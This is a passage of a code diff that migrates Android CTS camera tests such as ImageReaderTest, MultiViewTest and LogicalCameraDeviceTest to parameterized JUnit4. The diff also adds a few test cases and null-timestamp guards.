+ assertCameraAccess(mCameraManager, cameraId, true, handler);
}
private static void assertCameraAccess(CameraManager cameraManager,
@@ -152,14 +153,14 @@
}
}
- private void testCameraAccessBecomingInactiveUidByCamera(CameraManager cameraManager,
- String cameraId, Handler handler) throws Exception {
+ private void testCameraAccessBecomingInactiveUidByCamera(String cameraId, Handler handler)
+ throws Exception {
// Mock the callback used to observe camera state.
final CameraDevice.StateCallback callback = mock(CameraDevice.StateCallback.class);
// Open the camera
try {
- cameraManager.openCamera(cameraId, callback, handler);
+ mCameraManager.openCamera(cameraId, callback, handler);
} catch (CameraAccessException e) {
fail("Unexpected exception" + e);
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java b/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
index abd6bb6..971b51c 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
@@ -52,11 +52,17 @@
import java.util.Arrays;
import java.util.List;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.Test;
+
import static android.hardware.camera2.cts.CameraTestUtils.CAPTURE_RESULT_TIMEOUT_MS;
+import static android.hardware.camera2.cts.CameraTestUtils.SESSION_READY_TIMEOUT_MS;
import static android.hardware.camera2.cts.CameraTestUtils.SimpleCaptureCallback;
import static android.hardware.camera2.cts.CameraTestUtils.SimpleImageReaderListener;
import static android.hardware.camera2.cts.CameraTestUtils.dumpFile;
import static android.hardware.camera2.cts.CameraTestUtils.getValueNotNull;
+import static junit.framework.Assert.*;
/**
* <p>Basic test for ImageReader APIs. It uses CameraDevice as producer, camera
@@ -68,6 +74,7 @@
* <p>Some invalid access test. </p>
* <p>TODO: Add more format tests? </p>
*/
+@RunWith(Parameterized.class)
public class ImageReaderTest extends Camera2AndroidTestCase {
private static final String TAG = "ImageReaderTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -92,22 +99,18 @@
private SimpleImageListener mListener;
@Override
- public void setContext(Context context) {
- super.setContext(context);
- }
-
- @Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
super.setUp();
}
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
super.tearDown();
}
+ @Test
public void testFlexibleYuv() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.i(TAG, "Testing Camera " + id);
openDevice(id);
@@ -118,8 +121,9 @@
}
}
+ @Test
public void testDepth16() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.i(TAG, "Testing Camera " + id);
openDevice(id);
@@ -130,8 +134,9 @@
}
}
+ @Test
public void testDepthPointCloud() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.i(TAG, "Testing Camera " + id);
openDevice(id);
@@ -142,8 +147,9 @@
}
}
+ @Test
public void testDynamicDepth() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
openDevice(id);
bufferFormatTestByCamera(ImageFormat.DEPTH_JPEG, /*repeating*/true,
@@ -154,8 +160,9 @@
}
}
+ @Test
public void testY8() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.i(TAG, "Testing Camera " + id);
openDevice(id);
@@ -166,8 +173,9 @@
}
}
+ @Test
public void testJpeg() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.v(TAG, "Testing jpeg capture for Camera " + id);
openDevice(id);
@@ -178,8 +186,9 @@
}
}
+ @Test
public void testRaw() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.v(TAG, "Testing raw capture for camera " + id);
openDevice(id);
@@ -191,8 +200,9 @@
}
}
+ @Test
public void testRawPrivate() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.v(TAG, "Testing raw capture for camera " + id);
openDevice(id);
@@ -204,8 +214,9 @@
}
}
+ @Test
public void testHeic() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.v(TAG, "Testing heic capture for Camera " + id);
openDevice(id);
@@ -216,8 +227,9 @@
}
}
+ @Test
public void testRepeatingJpeg() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.v(TAG, "Testing repeating jpeg capture for Camera " + id);
openDevice(id);
@@ -228,8 +240,9 @@
}
}
+ @Test
public void testRepeatingRaw() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.v(TAG, "Testing repeating raw capture for camera " + id);
openDevice(id);
@@ -241,8 +254,9 @@
}
}
+ @Test
public void testRepeatingRawPrivate() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.v(TAG, "Testing repeating raw capture for camera " + id);
openDevice(id);
@@ -254,8 +268,9 @@
}
}
+ @Test
public void testRepeatingHeic() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.v(TAG, "Testing repeating heic capture for Camera " + id);
openDevice(id);
@@ -266,8 +281,9 @@
}
}
+ @Test
public void testLongProcessingRepeatingRaw() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.v(TAG, "Testing long processing on repeating raw for camera " + id);
@@ -284,8 +300,9 @@
}
}
+ @Test
public void testLongProcessingRepeatingFlexibleYuv() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.v(TAG, "Testing long processing on repeating YUV for camera " + id);
@@ -309,9 +326,10 @@
* for camera case. For if the produced image byte buffer is not direct byte buffer, there
* is no guarantee to get an ISE for this invalid access case.
*/
+ @Test
public void testInvalidAccessTest() throws Exception {
// Test byte buffer access after an image is released, it should throw ISE.
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.v(TAG, "Testing invalid image access for Camera " + id);
openDevice(id);
@@ -328,8 +346,9 @@
*
* <p>Both stream formats are mandatory for Camera2 API</p>
*/
+ @Test
public void testYuvAndJpeg() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.v(TAG, "YUV and JPEG testing for camera " + id);
if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
@@ -351,8 +370,9 @@
*
* <p>Both stream formats are mandatory for Camera2 API</p>
*/
+ @Test
public void testYuvAndJpegWithUsageFlag() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.v(TAG, "YUV and JPEG testing for camera " + id);
if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
@@ -372,8 +392,9 @@
* Test two image stream (YUV420_888 and RAW_SENSOR) capture by using ImageReader.
*
*/
+ @Test
public void testImageReaderYuvAndRaw() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.v(TAG, "YUV and RAW testing for camera " + id);
if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
@@ -394,8 +415,9 @@
* ImageFormat.PRIVATE + PROTECTED usage capture by using ImageReader with the
* ImageReader factory method that has usage flag argument, and uses a custom usage flag.
*/
+ @Test
public void testImageReaderPrivateWithProtectedUsageFlag() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.v(TAG, "Private format and protected usage testing for camera " + id);
if (!mAllStaticInfo.get(id).isCapabilitySupported(
@@ -420,8 +442,9 @@
* ImageReader factory method that has usage flag argument.
*
*/
+ @Test
public void testImageReaderYuvAndRawWithUsageFlag() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.v(TAG, "YUV and RAW testing for camera " + id);
if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
@@ -441,10 +464,11 @@
* Check that the center patches for YUV and JPEG outputs for the same frame match for each YUV
* resolution and format supported.
*/
+ @Test
public void testAllOutputYUVResolutions() throws Exception {
Integer[] sessionStates = {BlockingSessionCallback.SESSION_READY,
BlockingSessionCallback.SESSION_CONFIGURE_FAILED};
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.v(TAG, "Testing all YUV image resolutions for camera " + id);
@@ -685,10 +709,11 @@
/**
* Test that images captured after discarding free buffers are valid.
*/
+ @Test
public void testDiscardFreeBuffers() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
- Log.v(TAG, "Testing jpeg capture for Camera " + id);
+ Log.v(TAG, "Testing discardFreeBuffers for Camera " + id);
openDevice(id);
discardFreeBuffersTestByCamera();
} finally {
@@ -698,6 +723,7 @@
}
/** Tests that usage bits are preserved */
+ @Test
public void testUsageRespected() throws Exception {
ImageReader reader = ImageReader.newInstance(1, 1, PixelFormat.RGBA_8888, 1,
HardwareBuffer.USAGE_GPU_COLOR_OUTPUT | HardwareBuffer.USAGE_GPU_SAMPLED_IMAGE);
@@ -964,13 +990,13 @@
final Size SIZE = mStaticInfo.getAvailableSizesForFormatChecked(FORMAT,
StaticMetadata.StreamDirection.Output)[0];
- Image img = null;
// Create ImageReader.
mListener = new SimpleImageListener();
createDefaultImageReader(SIZE, FORMAT, MAX_NUM_IMAGES, mListener);
// Start capture.
final boolean REPEATING = true;
+ final boolean SINGLE = false;
CaptureRequest request = prepareCaptureRequest();
SimpleCaptureCallback listener = new SimpleCaptureCallback();
startCapture(request, REPEATING, listener, mHandler);
@@ -985,6 +1011,23 @@
// Validate images and capture resulst again.
validateImage(SIZE, FORMAT, NUM_FRAME_VERIFIED, REPEATING);
validateCaptureResult(FORMAT, SIZE, listener, NUM_FRAME_VERIFIED);
+
+ // Stop repeating request in preparation for discardFreeBuffers
+ mCameraSession.stopRepeating();
+ mCameraSessionListener.getStateWaiter().waitForState(
+ BlockingSessionCallback.SESSION_READY, SESSION_READY_TIMEOUT_MS);
+
+ // Drain the reader queue and discard free buffers from the reader.
+ Image img = mReader.acquireLatestImage();
+ if (img != null) {
+ img.close();
+ }
+ mReader.discardFreeBuffers();
+
+ // Do a single capture for camera device to reallocate buffers
+ mListener.reset();
+ startCapture(request, SINGLE, listener, mHandler);
+ validateImage(SIZE, FORMAT, /*captureCount*/1, SINGLE);
}
private void bufferFormatTestByCamera(int format, boolean repeating) throws Exception {
@@ -1212,6 +1255,10 @@
image.close();
}
}
+
+ public void reset() {
+ imageAvailable.close();
+ }
}
private void validateImage(Size sz, int format, int captureCount, boolean repeating)
diff --git a/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java b/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java
index 38f8816..99c6b33 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java
@@ -17,8 +17,10 @@
package android.hardware.camera2.cts;
import static android.hardware.camera2.cts.CameraTestUtils.*;
+import static junit.framework.Assert.*;
import android.graphics.ImageFormat;
+import android.graphics.SurfaceTexture;
import android.hardware.camera2.cts.CameraTestUtils.SimpleCaptureCallback;
import android.hardware.camera2.cts.testcases.Camera2AndroidTestCase;
import android.hardware.camera2.CameraDevice;
@@ -38,6 +40,10 @@
import java.util.Arrays;
import java.util.List;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.Test;
+
/**
* <p>
* Basic test for ImageWriter APIs. ImageWriter takes the images produced by
@@ -45,6 +51,7 @@
* interface or ImageReader.
* </p>
*/
+@RunWith(Parameterized.class)
public class ImageWriterTest extends Camera2AndroidTestCase {
private static final String TAG = "ImageWriterTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -56,7 +63,7 @@
private ImageWriter mWriter;
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
try {
closeImageReader(mReaderForWriter);
} finally {
@@ -88,8 +95,9 @@
* interface.</li>
* </p>
*/
+ @Test
public void testYuvImageWriterReaderOperation() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.i(TAG, "Testing Camera " + id);
if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
@@ -110,8 +118,9 @@
* factory method of ImageReader and ImageWriter.
* </p>
*/
+ @Test
public void testYuvImageWriterReaderOperationAlt() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.i(TAG, "Testing Camera " + id);
if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
@@ -126,6 +135,7 @@
}
}
+ @Test
public void testAbandonedSurfaceExceptions() throws Exception {
final int READER_WIDTH = 1920;
final int READER_HEIGHT = 1080;
@@ -170,6 +180,29 @@
}
}
+ @Test
+ public void testWriterFormatOverride() throws Exception {
+ int[] TEXTURE_TEST_FORMATS = {ImageFormat.YV12, ImageFormat.YUV_420_888};
+ SurfaceTexture texture = new SurfaceTexture(/*random int*/1);
+ texture.setDefaultBufferSize(640, 480);
+ Surface surface = new Surface(texture);
+
+ // Make sure that the default newInstance is still sane.
+ ImageWriter defaultWriter = ImageWriter.newInstance(surface, MAX_NUM_IMAGES);
+ Image defaultImage = defaultWriter.dequeueInputImage();
+ defaultWriter.close();
+
+ for (int format : TEXTURE_TEST_FORMATS) {
+ // Override default buffer format of Surface texture to test format
+ ImageWriter writer = ImageWriter.newInstance(surface, MAX_NUM_IMAGES, format);
+ Image image = writer.dequeueInputImage();
+ Log.i(TAG, "testing format " + format + ", got input image format " +
+ image.getFormat());
+ assertTrue(image.getFormat() == format);
+ writer.close();
+ }
+ }
+
private void readerWriterFormatTestByCamera(int format, boolean altFactoryMethod)
throws Exception {
List<Size> sizes = getSortedSizesForFormat(mCamera.getId(), mCameraManager, format, null);
diff --git a/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java b/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
index 37dfbdd..27e6492 100644
--- a/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
@@ -66,6 +66,8 @@
import java.util.Map;
import java.util.Set;
+import org.junit.runners.Parameterized;
+import org.junit.runner.RunWith;
import org.junit.Test;
import static org.mockito.Mockito.*;
@@ -73,6 +75,7 @@
/**
* Tests exercising logical camera setup, configuration, and usage.
*/
+@RunWith(Parameterized.class)
public final class LogicalCameraDeviceTest extends Camera2SurfaceViewTestCase {
private static final String TAG = "LogicalCameraDeviceTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -107,7 +110,7 @@
*/
@Test
public void testInvalidPhysicalCameraIdInOutputConfiguration() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.i(TAG, "Testing Camera " + id);
if (mAllStaticInfo.get(id).isHardwareLevelLegacy()) {
@@ -167,7 +170,7 @@
@Test
public void testBasicPhysicalStreaming() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.i(TAG, "Testing Camera " + id);
@@ -209,7 +212,7 @@
@Test
public void testBasicLogicalPhysicalStreamCombination() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.i(TAG, "Testing Camera " + id);
@@ -331,7 +334,7 @@
@Test
public void testBasicPhysicalRequests() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.i(TAG, "Testing Camera " + id);
@@ -462,7 +465,7 @@
@Test
public void testInvalidPhysicalCameraRequests() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.i(TAG, "Testing Camera " + id);
@@ -569,7 +572,7 @@
@Test
public void testLogicalCameraZoomSwitch() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.i(TAG, "Testing Camera " + id);
@@ -708,7 +711,7 @@
*/
@Test
public void testActivePhysicalId() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.i(TAG, "Testing Camera " + id);
@@ -792,7 +795,7 @@
if (!isHandheldDevice()) {
return;
}
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.i(TAG, "Testing Camera " + id);
@@ -1109,8 +1112,12 @@
Map<String, CaptureResult> physicalResultsDual =
totalCaptureResultDual.getPhysicalCameraResults();
for (String physicalId : physicalCameraIds) {
- physicalTimestamps[index][i] = physicalResultsDual.get(physicalId).get(
- CaptureResult.SENSOR_TIMESTAMP);
+ if (physicalResultsDual.containsKey(physicalId)) {
+ physicalTimestamps[index][i] = physicalResultsDual.get(physicalId).get(
+ CaptureResult.SENSOR_TIMESTAMP);
+ } else {
+ physicalTimestamps[index][i] = -1;
+ }
index++;
}
}
@@ -1129,15 +1136,19 @@
}
for (int i = 0; i < physicalCameraIds.size(); i++) {
for (int j = 0 ; j < NUM_FRAMES_CHECKED-1; j++) {
- assertTrue("Physical camera timestamp must monolithically increase",
- physicalTimestamps[i][j] < physicalTimestamps[i][j+1]);
- if (j > 0) {
+ if (physicalTimestamps[i][j] != -1 && physicalTimestamps[i][j+1] != -1) {
+ assertTrue("Physical camera timestamp must monolithically increase",
+ physicalTimestamps[i][j] < physicalTimestamps[i][j+1]);
+ }
+ if (j > 0 && physicalTimestamps[i][j] != -1) {
assertTrue("Physical camera's timestamp N must be greater than logical " +
"camera's timestamp N-1",
physicalTimestamps[i][j] > logicalTimestamps[j-1]);
}
- assertTrue("Physical camera's timestamp N must be less than logical camera's " +
- "timestamp N+1", physicalTimestamps[i][j] > logicalTimestamps[j+1]);
+ if (physicalTimestamps[i][j] != -1) {
+ assertTrue("Physical camera's timestamp N must be less than logical camera's " +
+ "timestamp N+1", physicalTimestamps[i][j] > logicalTimestamps[j+1]);
+ }
}
}
double logicalAvgDurationMs2 = (logicalTimestamps2[NUM_FRAMES_CHECKED-1] -
diff --git a/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java b/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
index 5c1f11e..fd081b3 100644
--- a/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
@@ -50,11 +50,15 @@
import java.util.Arrays;
import java.util.List;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
import org.junit.Test;
/**
* CameraDevice test by using combination of SurfaceView, TextureView and ImageReader
*/
+
+@RunWith(Parameterized.class)
public class MultiViewTest extends Camera2MultiViewTestCase {
private static final String TAG = "MultiViewTest";
private final static long WAIT_FOR_COMMAND_TO_COMPLETE = 5000; //ms
@@ -67,7 +71,7 @@
@Test
public void testTextureViewPreview() throws Exception {
- for (String cameraId : mCameraIds) {
+ for (String cameraId : mCameraIdsUnderTest) {
Exception prior = null;
try {
@@ -96,7 +100,7 @@
@Test
public void testTextureViewPreviewWithImageReader() throws Exception {
- for (String cameraId : mCameraIds) {
+ for (String cameraId : mCameraIdsUnderTest) {
Exception prior = null;
ImageVerifierListener yuvListener;
@@ -144,7 +148,7 @@
@Test
public void testDualTextureViewPreview() throws Exception {
- for (String cameraId : mCameraIds) {
+ for (String cameraId : mCameraIdsUnderTest) {
Exception prior = null;
try {
openCamera(cameraId);
@@ -177,7 +181,7 @@
@Test
public void testDualTextureViewAndImageReaderPreview() throws Exception {
- for (String cameraId : mCameraIds) {
+ for (String cameraId : mCameraIdsUnderTest) {
Exception prior = null;
ImageVerifierListener yuvListener;
@@ -223,31 +227,31 @@
@Test
public void testDualCameraPreview() throws Exception {
final int NUM_CAMERAS_TESTED = 2;
- if (mCameraIds.length < NUM_CAMERAS_TESTED) {
+ if (mCameraIdsUnderTest.length < NUM_CAMERAS_TESTED) {
return;
}
try {
for (int i = 0; i < NUM_CAMERAS_TESTED; i++) {
- openCamera(mCameraIds[i]);
- if (!getStaticInfo(mCameraIds[i]).isColorOutputSupported()) {
- Log.i(TAG, "Camera " + mCameraIds[i] +
+ openCamera(mCameraIdsUnderTest[i]);
+ if (!getStaticInfo(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
" does not support color outputs, skipping");
continue;
}
List<TextureView> views = Arrays.asList(mTextureView[i]);
- startTextureViewPreview(mCameraIds[i], views, /*ImageReader*/null);
+ startTextureViewPreview(mCameraIdsUnderTest[i], views, /*ImageReader*/null);
}
// TODO: check the framerate is correct
SystemClock.sleep(PREVIEW_TIME_MS);
for (int i = 0; i < NUM_CAMERAS_TESTED; i++) {
- if (!getStaticInfo(mCameraIds[i]).isColorOutputSupported()) {
- Log.i(TAG, "Camera " + mCameraIds[i] +
+ if (!getStaticInfo(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
" does not support color outputs, skipping");
continue;
}
- stopPreview(mCameraIds[i]);
+ stopPreview(mCameraIdsUnderTest[i]);
}
} catch (BlockingOpenException e) {
// The only error accepted is ERROR_MAX_CAMERAS_IN_USE, which means HAL doesn't support
@@ -257,7 +261,7 @@
Log.i(TAG, "Camera HAL does not support dual camera preview. Skip the test");
} finally {
for (int i = 0; i < NUM_CAMERAS_TESTED; i++) {
- closeCamera(mCameraIds[i]);
+ closeCamera(mCameraIdsUnderTest[i]);
}
}
}
@@ -267,7 +271,7 @@
*/
@Test
public void testSharedSurfaceBasic() throws Exception {
- for (String cameraId : mCameraIds) {
+ for (String cameraId : mCameraIdsUnderTest) {
try {
openCamera(cameraId);
if (getStaticInfo(cameraId).isHardwareLevelLegacy()) {
@@ -409,7 +413,7 @@
*/
@Test
public void testSharedSurfaceImageReaderSwitch() throws Exception {
- for (String cameraId : mCameraIds) {
+ for (String cameraId : mCameraIdsUnderTest) {
try {
openCamera(cameraId);
if (getStaticInfo(cameraId).isHardwareLevelLegacy()) {
@@ -501,7 +505,7 @@
int YUVFormats[] = {ImageFormat.YUV_420_888, ImageFormat.YUV_422_888,
ImageFormat.YUV_444_888, ImageFormat.YUY2, ImageFormat.YV12,
ImageFormat.NV16, ImageFormat.NV21};
- for (String cameraId : mCameraIds) {
+ for (String cameraId : mCameraIdsUnderTest) {
try {
openCamera(cameraId);
if (getStaticInfo(cameraId).isHardwareLevelLegacy()) {
@@ -629,7 +633,7 @@
*/
@Test
public void testSharedSurfaceLimit() throws Exception {
- for (String cameraId : mCameraIds) {
+ for (String cameraId : mCameraIdsUnderTest) {
try {
openCamera(cameraId);
if (getStaticInfo(cameraId).isHardwareLevelLegacy()) {
@@ -747,7 +751,7 @@
*/
@Test(timeout=60*60*1000) // timeout = 60 mins for long running tests
public void testSharedSurfaceSwitch() throws Exception {
- for (String cameraId : mCameraIds) {
+ for (String cameraId : mCameraIdsUnderTest) {
try {
openCamera(cameraId);
if (getStaticInfo(cameraId).isHardwareLevelLegacy()) {
@@ -848,7 +852,7 @@
*/
@Test
public void testTextureImageWriterReaderOperation() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
ImageReader reader = null;
ImageWriter writer = null;
Surface writerOutput = null;
@@ -1037,7 +1041,7 @@
*/
@Test
public void testSharedSurfaces() throws Exception {
- for (String cameraId : mCameraIds) {
+ for (String cameraId : mCameraIdsUnderTest) {
try {
openCamera(cameraId);
if (getStaticInfo(cameraId).isHardwareLevelLegacy()) {
diff --git a/tests/camera/src/android/hardware/camera2/cts/NativeCameraDeviceTest.java b/tests/camera/src/android/hardware/camera2/cts/NativeCameraDeviceTest.java
index 291d998..207c3e3 100644
--- a/tests/camera/src/android/hardware/camera2/cts/NativeCameraDeviceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/NativeCameraDeviceTest.java
@@ -22,14 +22,17 @@
import android.util.Size;
import android.view.Surface;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
import org.junit.Test;
import static org.junit.Assert.assertTrue;
-
/**
* <p>Basic test for CameraManager class.</p>
*/
+
+@RunWith(Parameterized.class)
public class NativeCameraDeviceTest extends Camera2SurfaceViewTestCase {
private static final String TAG = "NativeCameraDeviceTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
diff --git a/tests/camera/src/android/hardware/camera2/cts/NativeCameraManagerTest.java b/tests/camera/src/android/hardware/camera2/cts/NativeCameraManagerTest.java
index 08e0363..0ed5f0e 100644
--- a/tests/camera/src/android/hardware/camera2/cts/NativeCameraManagerTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/NativeCameraManagerTest.java
@@ -16,13 +16,21 @@
package android.hardware.camera2.cts;
-import android.test.AndroidTestCase;
+import android.hardware.cts.helpers.CameraParameterizedTestCase;
import android.util.Log;
+import org.junit.runners.Parameterized;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import static junit.framework.Assert.*;
+
/**
* <p>Basic test for CameraManager class.</p>
*/
-public class NativeCameraManagerTest extends AndroidTestCase {
+
+@RunWith(Parameterized.class)
+public class NativeCameraManagerTest extends CameraParameterizedTestCase {
private static final String TAG = "NativeCameraManagerTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -33,21 +41,25 @@
Log.i("NativeCameraManagerTest", "after loadlibrary");
}
+ @Test
public void testCameraManagerGetAndClose() {
assertTrue("testCameraManagerGetAndClose fail, see log for details",
testCameraManagerGetAndCloseNative());
}
+ @Test
public void testCameraManagerGetCameraIds() {
assertTrue("testCameraManagerGetCameraIds fail, see log for details",
testCameraManagerGetCameraIdsNative());
}
+ @Test
public void testCameraManagerAvailabilityCallback() {
assertTrue("testCameraManagerAvailabilityCallback fail, see log for details",
testCameraManagerAvailabilityCallbackNative());
}
+ @Test
public void testCameraManagerCameraCharacteristics() {
assertTrue("testCameraManagerCameraCharacteristics fail, see log for details",
testCameraManagerCharacteristicsNative());
diff --git a/tests/camera/src/android/hardware/camera2/cts/NativeImageReaderTest.java b/tests/camera/src/android/hardware/camera2/cts/NativeImageReaderTest.java
index 0933363..493e670 100644
--- a/tests/camera/src/android/hardware/camera2/cts/NativeImageReaderTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/NativeImageReaderTest.java
@@ -19,9 +19,16 @@
import android.hardware.camera2.cts.testcases.Camera2AndroidTestCase;
import android.util.Log;
+import org.junit.Test;
+
+import static junit.framework.Assert.*;
+
/**
* <p>Basic test for CameraManager class.</p>
*/
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+@RunWith(Parameterized.class)
public class NativeImageReaderTest extends Camera2AndroidTestCase {
private static final String TAG = "NativeImageReaderTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -33,26 +40,31 @@
Log.i("NativeImageReaderTest", "after loadlibrary");
}
+ @Test
public void testJpeg() {
assertTrue("testJpeg fail, see log for details",
testJpegNative(mDebugFileNameBase));
}
+ @Test
public void testY8() {
assertTrue("testY8 fail, see log for details",
testY8Native(mDebugFileNameBase));
}
+ @Test
public void testHeic() {
assertTrue("testHeic fail, see log for details",
testHeicNative(mDebugFileNameBase));
}
+ @Test
public void testDepthJpeg() {
assertTrue("testDepthJpeg fail, see log for details",
testDepthJpegNative(mDebugFileNameBase));
}
+ @Test
public void testImageReaderCloseAcquiredImages() {
assertTrue("testImageReaderClose fail, see log for details",
testImageReaderCloseAcquiredImagesNative());
diff --git a/tests/camera/src/android/hardware/camera2/cts/NativeStillCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/NativeStillCaptureTest.java
index a892970..a778f7d 100644
--- a/tests/camera/src/android/hardware/camera2/cts/NativeStillCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/NativeStillCaptureTest.java
@@ -21,6 +21,8 @@
import android.util.Size;
import android.view.Surface;
+import org.junit.runners.Parameterized;
+import org.junit.runner.RunWith;
import org.junit.Test;
import static org.junit.Assert.assertTrue;
@@ -28,6 +30,8 @@
/**
* <p>Basic test for CameraManager class.</p>
*/
+
+@RunWith(Parameterized.class)
public class NativeStillCaptureTest extends Camera2SurfaceViewTestCase {
private static final String TAG = "NativeStillCaptureTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
diff --git a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
index 2d6cb0a..af254b1 100644
--- a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
@@ -22,6 +22,7 @@
import static org.junit.Assert.assertTrue;
import android.app.Instrumentation;
+import android.content.Context;
import android.graphics.ImageFormat;
import android.graphics.SurfaceTexture;
import android.hardware.camera2.CameraAccessException;
@@ -36,7 +37,7 @@
import android.hardware.camera2.cts.CameraTestUtils.SimpleImageReaderListener;
import android.hardware.camera2.cts.helpers.StaticMetadata;
import android.hardware.camera2.cts.helpers.StaticMetadata.CheckLevel;
-import android.hardware.camera2.cts.testcases.Camera2AndroidTestCase;
+import android.hardware.camera2.cts.testcases.Camera2AndroidTestRule;
import android.hardware.camera2.params.InputConfiguration;
import android.hardware.camera2.params.StreamConfigurationMap;
import android.media.Image;
@@ -59,7 +60,10 @@
import com.android.ex.camera2.blocking.BlockingSessionCallback;
import com.android.ex.camera2.exceptions.TimeoutRuntimeException;
+import org.junit.Rule;
import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
